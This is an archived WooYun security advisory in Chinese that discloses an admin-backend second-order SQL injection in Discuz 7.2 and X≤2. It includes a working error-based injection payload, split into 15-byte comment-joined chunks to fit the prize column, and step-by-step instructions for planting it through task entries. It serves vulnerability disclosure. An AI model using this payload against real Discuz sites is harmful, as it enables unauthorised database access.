漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-070394
漏洞标题:discuz 7.2&discuz x<=2 后台注入
相关厂商:Discuz!
漏洞作者: do9gy
提交时间:2014-07-31 17:50
修复时间:2014-10-29 17:52
公开时间:2014-10-29 17:52
漏洞类型:SQL注射漏洞
危害等级:低
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-07-31: 细节已通知厂商并且等待厂商处理中
2014-08-01: 厂商已经确认,细节仅向厂商公开
2014-08-04: 细节向第三方安全合作伙伴开放
2014-09-25: 细节向核心白帽子及相关领域专家公开
2014-10-05: 细节向普通白帽子公开
2014-10-15: 细节向实习白帽子公开
2014-10-29: 细节向公众公开
简要描述:
第二发
详细说明:
以dz7.2来说,漏洞位于task.php 57行,
121行,
$magicids 参数从数据库中tasks表,prize 取出,这里可以二次注入。
tasks->prize的修改插入权限进对后台管理员开放,所以又一次鸡肋了。
但是到了这里还没结束,仔细看一下prize 为char(15),最多只能存储15个字节,崩溃了。。
不过再仔细看一下代码,峰回路转,绝处逢生,柳暗花明。
原来,$magicids是从tasks列表中取出的数组,然后又进行implodeids拼接。
没错,快使用双截棍哼哼哈嘿!把sql语句拼接一下。。
利用已经构造好的代码:
1')and(select1 from (select count(*),concat(version(),floor(rand(0)*2))x from mysql.user group by x)a)#
按最大长度15分割:
1')and(select/*
*/1 from (/*
*/select/*
*/count(*)/*
*/,concat(/*
*/version(),/*
*/floor(/*
*/rand(0)/*
*/*2))x from/*
*/mysql.user/*
*/group/*
*/by x)a)#
看上去挺不可思议的。测试一下。。。
登录后台,添加任务,这里需要注意三点:
1. 倒序添加
2.选择任务奖励为道具,道具种类需要把select改为input输入以上分割的sql语句(或者抓包改)。
3. 最后一个带有单引号的任务先添加不含有引号的,回到管理界面勾选可用提交后再通过详情加入单引号,否则由于页面sql错误导致无法正常编辑。
保存好以后前台打开
漏洞证明:
修复方案:
过滤
版权声明:转载请注明来源 do9gy@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2014-08-01 09:28
厂商回复:
感谢您提出的问题,我们尽快予以处理
最新状态:
暂无